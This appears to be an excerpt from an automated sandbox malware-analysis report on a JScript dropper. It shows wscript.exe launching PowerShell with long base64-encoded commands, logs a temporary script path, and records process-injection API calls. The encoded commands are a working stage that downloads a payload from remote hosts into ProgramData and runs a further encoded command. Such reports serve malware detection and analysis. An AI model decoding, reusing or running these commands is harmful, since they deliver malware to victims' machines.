BBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="
parent_process wscript.exe martian_process powershell -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7ACQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQBBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="
parent_process wscript.exe martian_process wscript "C:\Users\test22\AppData\Local\Temp\Rszsx.js" siegeniteMintages confeder zoogleasPipidae
parent_process wscript.exe martian_process "C:\Windows\System32\wscript.exe" "C:\Users\test22\AppData\Local\Temp\Rszsx.js" siegeniteMintages confeder zoogleasPipidae
Process injection Process 776 resumed a thread in remote process 2152
Process injection Process 2152 resumed a thread in remote process 2304
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002f8
suspend_count: 1
process_identifier: 2152
1 0 0

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 2304
1 0 0
file C:\Windows\SysWOW64\wscript.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe